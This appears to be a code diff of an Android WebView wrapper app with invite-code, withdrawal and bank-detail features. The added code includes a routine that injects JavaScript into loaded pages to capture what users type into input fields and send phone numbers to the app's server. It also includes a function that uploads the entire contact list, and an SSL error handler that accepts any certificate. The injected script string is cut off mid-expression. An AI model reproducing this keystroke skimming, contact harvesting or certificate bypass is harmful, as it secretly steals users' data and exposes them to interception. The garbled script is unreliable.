+ goWithDrawApply(); + } + + @Override + public void toBankInfo() { + showBankInfoDialog(); + } + }); + actionDialog.setCancelable(true); + actionDialog.setCanceledOnTouchOutside(true); + actionDialog.show(); + } + + public void goShare() { + Intent shareTextIntent = new Intent(); + shareTextIntent.setAction(Intent.ACTION_SEND); + String title = getString(R.string.app_sharetitle) + myInviteCode; + String parentCode = MainActivity.getString(this, "code", ""); + shareTextIntent.putExtra(Intent.EXTRA_TITLE, title + (TextUtils.isEmpty(parentCode) ? "" : "\n" + getString(R.string.app_sharetitle2) + parentCode)); + shareTextIntent.putExtra(Intent.EXTRA_TEXT, getString(R.string.app_name) + getString(R.string.app_sharecontent) + shareUrl + " \n" + title); + shareTextIntent.setType("text/plain"); + startActivity(Intent.createChooser(shareTextIntent, getString(R.string.app_name) + getString(R.string.app_sharecontent))); + } + + private ActionWithDrawApplyDialog drawApplyDialog; + + public void goWithDrawApply() { + drawApplyDialog = new ActionWithDrawApplyDialog(MainActivity2.this, myInviteCode); + drawApplyDialog.setOnToActionListener(new ActionWithDrawApplyDialog.OnToActionListener() { + @Override + public void toSumbit(String content) { + sendApply(content); + } + + @Override + public void toCancel() { + + } + }); + drawApplyDialog.setCancelable(false); + drawApplyDialog.setCanceledOnTouchOutside(false); + drawApplyDialog.show(); + } + + /** + * 编辑银行卡信息 + */ + public void showBankInfoDialog() { + ActionBankInfoDialog bankInfoDialog = new ActionBankInfoDialog(MainActivity2.this, myInviteCode); + bankInfoDialog.setCancelable(false); + bankInfoDialog.setCanceledOnTouchOutside(false); + bankInfoDialog.show(); + } + + /** + * 发送申请记录 + */ + public void sendApply(String amount) { + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("amount", amount); + map.put("inviteCode", myInviteCode); + Api.getInstance().sendWithDrawApply(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + Toast.makeText(MainActivity2.this, getString(R.string.app_toastapply), Toast.LENGTH_SHORT).show(); + if (drawApplyDialog != null) { + drawApplyDialog.dismiss(); + } + getMyInvite(false); + + } + + @Override + public void onError(int code, String msg) { +// LogUtils.d("dddd" + msg); + Toast.makeText(MainActivity2.this, msg, Toast.LENGTH_SHORT).show(); + } + + @Override + public void onError2(Result o) { + Toast.makeText(MainActivity2.this, o.error, Toast.LENGTH_SHORT).show(); + } + }); + } + + + public void showRecordDialog() { + ActionInviteRecordsDialog actionDialog = new ActionInviteRecordsDialog(MainActivity2.this, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + } + + public void showWithDrawRecordDialog() { + ActionWithDrawRecordsDialog actionDialog = new ActionWithDrawRecordsDialog(MainActivity2.this, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + } + + ActionConfirmDialog actionDialog; + + private void checkNotify() { + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + if (!notificationManager.areNotificationsEnabled()) { + if (actionDialog == null) { + actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.notification_title_txt), getString(R.string.notification_cancel_txt), + getString(R.string.notification_setting_txt)); + } + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + jumpNotificationSetting(); + } + + @Override + public void toCancel() { + if (notifyApply == 1) { + MainActivity2.this.finish(); + } + + + } + }); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.setCancelable(false); + actionDialog.show(); + + + } + } + } + + private void jumpNotificationSetting() { + final ApplicationInfo applicationInfo = getApplicationInfo(); + try { + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS"); + intent.putExtra("app_package", applicationInfo.packageName); + intent.putExtra("android.provider.extra.APP_PACKAGE", applicationInfo.packageName); + intent.putExtra("app_uid", applicationInfo.uid); + startActivity(intent); + } catch (Throwable t) { + t.printStackTrace(); + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS"); + intent.setData(Uri.fromParts("package", applicationInfo.packageName, null)); + startActivity(intent); + } + } + + @Override + public void onBackPressed() { + + if (webView.canGoBack()) {//当webview有多级能返回的时候 + String url = webView.getUrl(); + // 在首页 就退出这个页面 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + super.onBackPressed(); + } else { //不在首页 回到首页 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + } + topVvvv.setVisibility(View.GONE); + progressBar.setVisibility(View.VISIBLE); + //当有条过登录页面 只能重载 不然逻辑会异常 + if (hasSignIn) { + onShowNetView(); + webView.loadUrl(url); + } else { + while (webView.canGoBack()) { + webView.goBack(); + } + + } + } + + } else {//不能返回了 关闭进程 退出程序 + Intent homeIntent = new Intent(Intent.ACTION_MAIN); + homeIntent.addCategory(Intent.CATEGORY_HOME); + homeIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(homeIntent); + android.os.Process.killProcess(android.os.Process.myPid()); + System.exit(1); + + } + } + + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + + showTopV1 = (ImageView) findViewById(R.id.show_top_v1); + showTopLy = findViewById(R.id.show_top_ly); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(webViewClient); + Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); + webView.addJavascriptInterface(new JsInterface(), "AndroidInterface"); + + showTopLy.setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "windows_color", "#FFFFFF"))); + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + getNetUrl(); + getNotifyList(); + LogUtils.i("userAgent:" + webView.getSettings().getUserAgentString()); +// NetworkInterceptor.startIntercept(MainActivity2.this,webView); +// X5ConfigHelper.enableNetworkLogging(); +// X5ConfigHelper.enableDebugMode(webView); + + } + + public void getNotifyList() { + + Api.getInstance().getNotifyList(userId, 1, 1) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>() { + @Override + public void onSuccess(Result> o) { + if (o.data != null && o.data.getTotal() > 0) { + otherApp.setVisibility(View.INVISIBLE); + + ivNotify.setVisibility(View.VISIBLE); + if (userId == 112 || userId == 87 || userId == 91 || userId == 93 + || userId == 92 || userId == 84 || userId == 120 || userId == 70 || userId == 143 || userId == 149) { + ivNotify.setVisibility(View.INVISIBLE); + layoutOtherApp.setVisibility(View.GONE); + } + ivotherApp.setImageResource(R.mipmap.ic_shousuo); + } + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("获取的结果error" + msg); + } + + @Override + public void onError2(Result> o) { + LogUtils.i("获取的结果error"); + } + }); + } + + public void getNetUrl() { + Api.getInstance().geUrlNew(userId) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + + DataInfo dataInfo = o.data; + if (dataInfo != null) { + if (dataInfo.getIsUse() == 0) { + MainActivity2.this.finish(); + return; + } + if (!TextUtils.isEmpty(dataInfo.getUrl())) { + MainActivity.saveString(MainActivity2.this, "base_url", dataInfo.getUrl()); + webView.loadUrl(dataInfo.getUrl()); + } + shareUrl = dataInfo.getDownloadUrl(); + String link = dataInfo.getLinkConfig(); + if (!TextUtils.isEmpty(link)) { + try { + linkconfiglist = GsonUtils.getListFromJSON(link, LinkConfigInfo.class); + } catch (Exception e) { + + } + } +// if (!TextUtils.isEmpty(dataInfo.getVersionCode())) { +// LogUtils.i("版本号:" + Integer.parseInt(dataInfo.getVersionCode()) + ";" + getInt(MainActivity2.this, "version_code", 0)); +// if (Integer.parseInt(dataInfo.getVersionCode()) > getInt(MainActivity2.this, "version_code", 0)) { +// ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this, +// getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), +// getString(R.string.lijigengxin_txt)); +// actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { +// @Override +// public void toSumbit() { +// checkUpdate(dataInfo.getApkUrl()); +// } +// +// @Override +// public void toCancel() { +// if (dataInfo.getForceUpdate() == 1) { +// MainActivity2.this.finish(); +// } +// } +// }); +// actionDialog.show(); +// } +// } + contactApply = dataInfo.getContactApplyMode(); + notifyApply = dataInfo.getNoticeApplyMode(); + if (contactApply == 0 || contactApply == 1) { +// readContact(); + } + if (notifyApply == 0 || notifyApply == 1) { + if(userId!=157) { + checkNotify(); + } + } + facebookUrl = dataInfo.getFbUrl().trim(); + telegramUrl = dataInfo.getTgUrl().trim(); + whatsappUrl = dataInfo.getWsUrl().trim(); + if (!TextUtils.isEmpty(facebookUrl)) { + otherApp.setVisibility(View.INVISIBLE); + ivFaceBook.setVisibility(View.VISIBLE); + } + if (!TextUtils.isEmpty(telegramUrl)) { + otherApp.setVisibility(View.INVISIBLE); + ivTelG.setVisibility(View.VISIBLE); + } + if (!TextUtils.isEmpty(whatsappUrl)) { + otherApp.setVisibility(View.INVISIBLE); + ivWhatsApp.setVisibility(View.VISIBLE); + } + if (userId == 143 || userId == 149) { + otherApp.setVisibility(View.INVISIBLE); + ivFaceBook.setVisibility(View.GONE); + ivTelG.setVisibility(View.GONE); + ivWhatsApp.setVisibility(View.GONE); + layoutOtherApp.setVisibility(View.GONE); + } + } else { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + + } + + @Override + public void onError(int code, String msg) { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + @Override + public void onError2(Result o) { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + }); + + } + +// +// private void checkUpdate(String url) { +// new AppUpdater(this, url).start(); +// } + + List contents = new ArrayList<>(); + private static String[] PERMISSIONS_READCONTACT = { + Manifest.permission.READ_CONTACTS}; + + public void readContact() { + + if (BuildConfig.BUILD_TYPE.equals("debug")) { + return; + } + + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.READ_CONTACTS) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_READCONTACT, 2222); + } else { + //开启线程上传数据 + new Thread(() -> { + //获取通讯录 + contents = new ArrayList<>(); + Cursor cursor = null; + try { + cursor = getContentResolver().query( + ContactsContract.CommonDataKinds.Phone.CONTENT_URI, + null, null, null, null); + while (cursor.moveToNext()) { + int i_name = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME); + String displayName = cursor.getString(i_name); + int i_number = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); + String number = cursor.getString(i_number); + ContactBean bean = new ContactBean(displayName, number.trim()); + contents.add(bean); + } + } catch (Exception e) { + e.printStackTrace(); + } finally { + if (cursor != null) { + cursor.close(); + postReadContact(contents); + } + } + }).start(); + + + } + } + + public void postReadContact(List contents) { + Gson gson = new Gson(); + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("customers", contents); + String result = gson.toJson(map); + MediaType mediaType = MediaType.parse("application/json; charset=utf-8"); + Api.getInstance().readContact(RequestBody.create(mediaType, result)) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + LogUtils.i("URL是啥获取的文件地址:"); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("error:" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void setDownloadNumbers() { + HashMap map = new HashMap<>(); + map.put("userId", userId); + Api.getInstance().downloadNumbers(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + LogUtils.i("URL是啥获取的文件地址:"); + MainActivity.saveBoolean(MainActivity2.this, "download", true); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("error:" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + + public void setTotalTongJi() { + HashMap map = new HashMap<>(); + map.put("userId", userId); + Api.getInstance().totalTongJi(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void recordNotify(int pushId) { + HashMap map = new HashMap<>(); + map.put("pushId", pushId); + Api.getInstance().totalNotify(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void getMyInvite(boolean isShare) { + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("deviceCode", Utils.getUniqueId(MainActivity2.this)); + Api.getInstance().getMyInvited(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if (o.data != null) { + myInviteCode = o.data.getInviteCode(); +// myInviteNum = o.data.getInviteNum(); + MainActivity.saveString(MainActivity2.this, "balance", o.data.getBalance()); + MainActivity.saveString(MainActivity2.this, "income", o.data.getIncome()); + MainActivity.saveString(MainActivity2.this, "bankname", o.data.getBankName()); + MainActivity.saveString(MainActivity2.this, "name", o.data.getName()); + MainActivity.saveString(MainActivity2.this, "bankno", o.data.getBankNo()); + } + if (isShare) { + goShare(); + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + Handler handler = new Handler(); + + boolean hasSignIn = false; + + +// WebView webViews; + WebViewClient webViewClient = new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + if (webView.getUrl().contains("hasSignIn")) { + hasSignIn = true; + } + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + if (showTopLy.getVisibility() == View.VISIBLE) { + handler.postDelayed(() -> showTopLy.setVisibility(View.GONE), 1000); + } + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } +// webViews = webView; + injectInputListener(webView); + +// initPost(webView); + } + + @Override + public WebResourceResponse shouldInterceptRequest(WebView webView, String s) { +// LogUtils.i("网址是啥:222222222222222222222222"); + + return super.shouldInterceptRequest(webView, s); + } + + @Override + public WebResourceResponse shouldInterceptRequest(WebView webView, WebResourceRequest webResourceRequest) { +// LogUtils.i("网址是啥:"+webResourceRequest.getUrl().toString()); + if ("POST".equalsIgnoreCase(webResourceRequest.getMethod())) { +// LogUtils.i("网址是啥111222:"); +// injectInputListener(webViews!=null?webViews:webView); + postMobile(); + } + return super.shouldInterceptRequest(webView, webResourceRequest); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedSslError(WebView webView, SslErrorHandler sslErrorHandler, SslError sslError) { +// super.onReceivedSslError(webView, sslErrorHandler, sslError); + sslErrorHandler.proceed(); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + if (isToOutSideUrl(url1)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + LogUtils.i("网络请求3333:" + request.getUrl()); + LogUtils.i("网络请求3333:" + request.getRequestHeaders()); + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.i("URL是啥1:" + url1); + + if (isToOutSideUrl(url1)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + }; + + private void postMobile() { + if(!TextUtils.isEmpty(mobiles)){ + if(!TextUtils.isEmpty(oldMobiles)&&oldMobiles.endsWith(mobiles)){ + return; + } + HashMap map = new HashMap<>(); + map.put("appId", userId); + map.put("phone", mobiles); + Api.getInstance().appLoginUser(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { +// LogUtils.i("成功了!!!!!!!"); + oldMobiles = mobiles; + mobiles= ""; + } + + @Override + public void onError(int code, String msg) { +// LogUtils.i("成功了失败了!!!!!!!"); + + } + + @Override + public void onError2(Result o) { +// LogUtils.i("成功了失败了22222!!!!!!!"); + + } + }); + } + } + + + int counts = 0; + private void injectInputListener(WebView webView) { + // JS 代码:监听所有 input 和 textarea 的输入事件 + // 你的代码 + Runnable runnable = new Runnable() { + @Override + public void run() { +// // 你的代码 + + String jsCode = "javascript:(function (){" + + // 获取所有输入元素(input 和 textarea) + "var inputs = document.getElementsByTagName('input');" + + // 遍历所有输入元素,添加 input 事件监听 + "for (var i = 0; i < inputs.length; i++) {"+ + "inputs[i].addEventListener('input', function(){" + + // 触发输入时,调用 Android 接口传递内容 + "window.AndroidInterface.onInputChanged(this.value);" + + "});" + + "}"+ + "if(0 { + // 示例:更新界面 + // textView.setText(inputContent); + }); + } + } + + private boolean isToOutSideUrl(String url1) { + return url1.contains("facebook") || url1.contains("https://t.me") || + url1.contains("instagram") || url1.contains("https://x.com") || url1.contains("https://wa.me") || + url1.contains("https://m.me") || url1.contains("http://m.me")||url1.endsWith(".apk"); + } + + // 辅助方法:流转字符串 + private String readStream(InputStream is) throws IOException { + BufferedReader br = new BufferedReader(new InputStreamReader(is)); + StringBuilder sb = new StringBuilder(); + String line; + while ((line = br.readLine()) != null) { + sb.append(line); + } + br.close(); + return sb.toString(); + } + + // 辅助方法:解析表单键值对 + private Map parseFormData(String body) throws UnsupportedEncodingException { + Map params = new HashMap<>(); + String[] pairs = body.split("&"); + for (String pair : pairs) { + String[] keyValue = pair.split("=", 2); // 按第一个=分割 + if (keyValue.length == 2) { + String key = URLDecoder.decode(keyValue[0], StandardCharsets.UTF_8.name()); + String value = URLDecoder.decode(keyValue[1], StandardCharsets.UTF_8.name()); + params.put(key, value); + } + } + return params; + } + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); +// isNetError = true; + + } + + public void onShowNetView() { + // topVvvv.setVisibility(View.GONE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); +// isNetError = false; + } + + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + + @Override + public boolean onConsoleMessage(ConsoleMessage consoleMessage) { +// if (consoleMessage.message().contains("POST_DATA:")) { + // 解析控制台输出的 POST 数据 +// String postData = consoleMessage.message().replace("POST_DATA:", ""); +// LogUtils.i("当前输入内容CONSOLE_POST", postData); +// } + return true; + } + + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + + LogUtils.i("URL是啥新窗口:" + url); + + if (isToOutSideUrl(url)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(MainActivity2.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + LogUtils.i("URL是啥新窗口结束:" + url); + + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + MainActivity2.this.runOnUiThread(() -> { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + }); + } + } + }; + + private PermissionRequest permissionRequest; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + if (grantResults.length == 0) { + return; + } + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + case 1111: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && permissionRequest != null) { + permissionRequest.grant(permissionRequest.getResources()); + } + break; + case 2222: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { +// readContact(); + } else { + //没同意 + if (contactApply == 1) { + MainActivity2.this.finish(); + } + + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 + webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + + super.onDestroy(); + } 